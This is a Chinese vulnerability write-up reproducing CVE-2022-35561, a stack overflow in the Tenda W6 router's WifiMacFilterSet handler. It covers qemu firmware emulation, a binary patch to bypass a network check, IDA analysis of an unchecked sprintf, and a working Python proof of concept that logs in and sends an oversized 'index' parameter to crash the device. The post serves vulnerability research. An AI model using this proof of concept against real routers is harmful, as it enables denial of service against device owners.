【工业安全】-CVE-2022-35561- Tenda W6路由器 栈溢出漏洞

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

 4.1:代码分析

 4.2:流量分析

5.poc代码:


 1.漏洞描述

漏洞编号:CVE-2022-35561

漏洞名称:Tenda W6 栈溢出漏洞

威胁等级:高危

漏洞详情:Tenda W6 /goform/WifiMacFilterSet存在栈溢出漏洞,攻击者可利用该漏洞通过index参数造成拒绝服务(DoS)

影响范围:固件版本 V1.0.0.9(4122)


2.环境搭建

qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

安装成功。

3.漏洞复现

在/home/CVE-2022-35561目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。

1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

​可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。

3.给httpd文件可执行权限,命令:chmod +x tdhttpd

4.复制squashfs-root目录下的webroot_ro文件到webroot中

命令:

rm -rf webroot 

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-mipsel-static。

注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”,就能通过检查。

具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。

执行命令: sudo qemu-mipsel-static -L . ./bin/httpd

很长,请忽略。

直接看有用的部分:

路由器运行在80端口。

ifconfig

得到本机ip,在浏览器中访问:192.168.124.153:80

用户名和密码都保持为空,登录后获得如下界面:

Poc执行:

在PoC_repo目录下打开终端,命令:python3.8 MSF_IOT.py

show exploits

use CVE-2022-35561

ip:192.168.124.153

端口:80

run

因受到攻击网页无法访问,漏洞执行成功

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告/goform/WifiMacFilterSet请求会触发漏洞,查找可执行文件httpd。

可知httpd位于:

_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd

在ida中查找函数:WifiMacFilterSet

sprintf 函数的格式化字符串中使用了 v10 的值。

v10是通过调用 websGetVar 函数获取到的名为 "index" 变量的值。

函数的第一个参数 a1 表示 HTTP 请求句柄,第二个参数 "index" 是需要获取的变量的名称,第三个参数 "0" 则是变量的默认值,当名为 "index" 的变量不存在时,将返回一个字符串 "0"。

"wl2g.ssid" 和 "." 固定占用10字节。

v10 实际可用空间为 32 -10-1 = 21(减去1是因为字符串需要一个空终止符 '\0')。

但是这里没有对 v10 的长度进行检查和限制,就可能导致 sprintf 函数将一个较长的字符串写入 v12 中,覆盖掉其他数据,造成栈溢出漏洞。

故我们可以构造:

http://<ip router>/goform/WifiMacFilterSet+"index="+超长字符串 覆盖掉其他数据,造成溢出。

4.2:流量分析 

5.poc代码:

代码复现时环境ip为 192.168.241.131

import requests
from pwn import *

burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)


burp1_url = "http://192.168.241.131/goform/WifiMacFilterSet"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data1="index="+'a'*0x300

requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)

实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/970881.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

HDFS体系结构

HDFS 支持主从结 构 &#xff0c; 主节 点 称为 NameNode &#xff0c;从节点称为 DataNode HDFS中还包含一个 SecondaryNameNode 进程&#xff0c;只要辅助主节点 公司BOSS&#xff1a;NameNode &#xff08;NN&#xff09; 秘书&#xff1a;SecondaryNameNode (2NN) 员工&a…

物联网智能语音控制灯光系统设计与实现

背景 随着物联网技术的蓬勃发展&#xff0c;智能家居逐渐成为现代生活的一部分。在众多智能家居应用中&#xff0c;智能灯光控制系统尤为重要。通过语音控制和自动调节灯光&#xff0c;用户可以更便捷地操作家中的照明设备&#xff0c;提高生活的舒适度与便利性。本文将介绍一…

大模型开发实战篇5:多模态--文生图模型API

大模型文生图是一种基于人工智能大模型的技术&#xff0c;能够将自然语言文本描述转化为对应的图像。目前非常火的AI大模型赛道&#xff0c;有很多公司在此赛道竞争。详情可看这篇文章。 今天我们来看下如何调用WebAPI来实现文生图功能。我们一般都会将OpenAI的接口&#xff0…

(arxiv2411) CARE Transformer

作者提出了两个问题&#xff0c;问题 1&#xff1a;堆叠是充分利用局部归纳偏差和长距离信息优势的最佳方法吗&#xff1f; 问题 2&#xff1a;是否有可能同时提高线性视觉 Transformer 的效率和准确性&#xff1f; 为了解决这两个问题&#xff0c;作者提出了一种 deCoupled du…

时间序列分析(四)——差分运算、延迟算子、AR(p)模型

此前篇章&#xff1a; 时间序列分析&#xff08;一&#xff09;——基础概念篇 时间序列分析&#xff08;二&#xff09;——平稳性检验 时间序列分析&#xff08;三&#xff09;——白噪声检验 一、差分运算 差分运算的定义&#xff1a;差分运算是一种将非平稳时间序列转换…

仿叮咚买菜鸿蒙原生APP

# DingdongShopping 这是一个原生鸿蒙版的仿叮咚买菜APP项目 鸿蒙Next发布至今已经有一年多的时间了&#xff0c;但有时候我们想要实现一些复杂的功能或者效果&#xff0c;在开发文档上查阅一些资料还是比较费时的&#xff0c;有可能还找不到我们想要的内容。而社会层面上分享…

【大模型】DeepSeek 高级提示词技巧使用详解

目录 一、前言 二、DeepSeek 通用提示词技巧 2.1 DeepSeek 通用提示词技巧总结 三、DeepSeek 进阶使用技巧 3.1 DeepSeek一个特定角色的人设 3.1.1 为DeepSeek设置角色操作案例一 3.1.2 为DeepSeek设置角色操作案例二 3.2 DeepSeek开放人设升级 3.2.1 特殊的人设&#…

图论算法篇:邻接矩阵以及邻接表和链式前向星建图

那么我们从这一篇文章开始就正式进入了图相关算法的学习&#xff0c;那么对于认识图的各种算法之前&#xff0c;那么我们首先得学会建图&#xff0c;但是要在建图之前&#xff0c;我们又得对图这种非常基本非常常见的数据结构有着一定的认识&#xff0c;所以我们就先来简单回顾…

内容中台如何搭建?

内容概要 企业搭建内容中台的核心目标在于通过技术驱动的内容资产整合与流程优化&#xff0c;实现跨业务场景的内容高效复用与敏捷响应。这一过程始于对业务需求的深度拆解&#xff0c;包括明确内容生产、分发、管理的核心痛点&#xff0c;例如多部门协作效率低下、内容版本混…

Navicate数据库连接工具的下载与安装,附带使用(连接MySQL,建表、增删改查)

1.Navicate安装包下载 Navicat 中国 | 支持 MySQL、Redis、MariaDB、MongoDB、SQL Server、SQLite、Oracle 和 PostgreSQL 的数据库管理 2.安装 3.连接数据库 4.建表和四个基本的增删改查语句 CREATE DATABASE ckk_school20250216;USE ckk_school20250216;CREATE TABLE stude…

探秘 Map 和 Set 底层:二叉搜索树与哈希表的深度解析,解锁高效数据存储秘密!

目录 二叉搜索树&#xff08;红黑树&#xff09; 概念&#xff1a; 示例&#xff1a; Java代码实现&#xff1a; 性能分析&#xff1a; 哈希表 概念&#xff1a; 哈希冲突&#xff1a; 哈希冲突的避免&#xff1a; 避免方式1 -- 哈希函数设计 避免方式2 -- 负载因子…

python从入门到进去

python从入门到进去 第一章、软件和工具的安装一、安装 python 解释器二、安装 pycharm 第二章、初识 python一、注释可分三种二、打印输入语句三、变量1、基本数据类型1.1、整数数据类型 int1.2、浮点数数据类型 float1.3、布尔数据类型 boolean1.4、字符串数据类型 string 2、…

001-监控你的文件-FSWatch-C++开源库108杰

fswatch 原理与应用简介fswatch 安装fswatch 实践应用具体应用场景与细节补充 1. 简介 有些知识&#xff0c;你知道了不算厉害&#xff0c;但你要是不知道&#xff0c;就容易出乱。 很多时候&#xff0c;程序需要及时获取磁盘上某个文件对象&#xff08;文件夹、文件&#xff0…

华为云kubernetes基于keda自动伸缩deployment副本(监听redis队列长度)

1 概述 KEDA&#xff08;Kubernetes-based Event-Driven Autoscaler&#xff0c;网址是https://keda.sh&#xff09;是在 Kubernetes 中事件驱动的弹性伸缩器&#xff0c;功能非常强大。不仅支持根据基础的CPU和内存指标进行伸缩&#xff0c;还支持根据各种消息队列中的长度、…

解锁机器学习核心算法 | 决策树:机器学习中高效分类的利器

引言 前面几篇文章我们学习了机器学习的核心算法线性回归和逻辑回归。这篇文章我们继续学习机器学习的经典算法——决策树&#xff08;Decision Tree&#xff09; 一、决策树算法简介 决策树算法是一种典型的分类方法&#xff0c;也是一种逼近离散函数值的方法。它的核心思想…

CRISPR spacers数据库;CRT和PILER-CR用于MAGs的spacers搜索

iPHoP&#xff1a;病毒宿主预测-CSDN博客 之前介绍了这个方法来预测病毒宿主&#xff0c;今天来介绍另一种比较用的多的方法CRISPR比对 CRISPR spacers数据库 Dash 在这可以下载作者搜集的spacers用于后期比对 CRT和PILER-CR 使用 CRT 和 PILERCR 识别 CRISPR 间隔区&#x…

TestHubo基础教程-创建项目

TestHubo是一款国产开源一站式测试工具&#xff0c;涵盖功能测试、接口测试、性能测试&#xff0c;以及 Web 和 App 测试&#xff0c;可以满足不同类型项目的测试需求。本文将介绍如何快速创建第一个项目&#xff0c;以快速入门上手。 1、创建项目 在 TestHubo 中&#xff0c;…

多模态基础模型第二篇-deepseek-r1部署

分别使用本地windows和云端linux进行部署&#xff0c;测试不同硬件资源的模型推理性能&#xff1a; windos部署&#xff1a;直接打开Download Ollama on Linux 下载&#xff0c;然后本地启动服务&#xff0c; linux部署&#xff1a;curl -fsSL https://ollama.ai/install.sh …

本地 Ollama 部署 Deepseek R1 并使用 Spring AI Alibaba 构建 Chat 应用示例

本地部署 Deepseek R1 并使用 Spring AI Alibaba 构建 Chat 应用示例 Ollama 部署 Deepseek R1 官网&#xff1a;https://www.deepseek.com/ Github&#xff1a;https://github.com/deepseek-ai Ollama&#xff1a;https://ollama.com/ Docker Compose 部署一个 Ollama 和…

【TI C2000】F28002x的系统延时、GPIO配置及SCI(UART)串口发送、接收

【TI C2000】F28002x的系统延时、GPIO配置及SCI&#xff08;UART&#xff09;串口发送、接收 文章目录 系统延时GPIO配置GPIO输出SCI配置SCI发送、接收测试附录&#xff1a;F28002x开发板上手、环境配置、烧录及TMS320F280025C模板工程建立F28002x叙述烧录SDK库文件说明工程建…